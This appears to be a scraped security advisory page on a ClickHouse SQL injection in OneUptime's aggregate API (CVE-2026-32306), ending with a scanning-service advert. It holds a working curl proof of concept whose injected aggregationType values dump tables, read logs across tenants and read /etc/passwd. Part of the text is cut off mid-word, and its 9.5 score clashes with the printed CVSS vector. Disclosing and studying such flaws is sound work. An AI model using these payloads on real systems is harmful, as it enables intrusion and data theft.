🛡️ CVE-2026-32306 — oneuptime
Description
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
Summary
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Details
Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
```typescript
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;
```
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
```typescript
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
// Only truthiness check — no allowlist
}
```
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
```typescript
// StatementGenerator.ts:527
statement.append(
${aggregationType}(${aggregateColumnName}) as aggregationResult
);
```
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
```typescript
// Statement.ts:149-151
public append(text: string): Statement {
this.query += text; // Raw concatenation — "trusted SQL"
return this;
}
```
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
```typescript
statement.append(
toStartOfInterval(${aggregationTimestampColumnName}, ...)
);
```
Attack flow:
1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate)
2. Request body contains aggregateBy.aggregationType set to a SQL injection payload
3. Payload passes truthiness check at line 276
4. Payload is concatenated into SQL via .append() at line 527
5. ClickHouse executes the injected SQL
PoC
```bash
# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password123"}' \
| jq -r '.token')
# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
```
```bash
# Verify the vulnerability in source code:
# 1. No allowlist for aggregationType:
grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5
# Line 276: if (aggregateBy.aggregationType) { — truthiness only
# 2. Raw SQL concatenation:
grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts
# Line 527: ${aggregationType}(${aggregateColumnName}) as aggregationResult
# 3. .append() is raw concatenation:
grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts
# this.query += text; — "trusted SQL"
# 4. No validati
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2026-32306 is classified as CWE-89: SQL Injection. Untrusted input is concatenated into an SQL statement, letting an attacker change the query and reach data the request should not return.
Affected software
CVE-2026-32306 is recorded against 1 package.
- oneuptime
Timeline and source
Published on 13 March 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| oneuptime | — | — |
References
Similar Threats
- Critical CVE-2026-34758
- Critical CVE-2026-33396
- High CVE-2026-33142
- High CVE-2026-33143
- High CVE-2026-32308
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running oneuptime?
CVE-2026-32306 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-32306 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.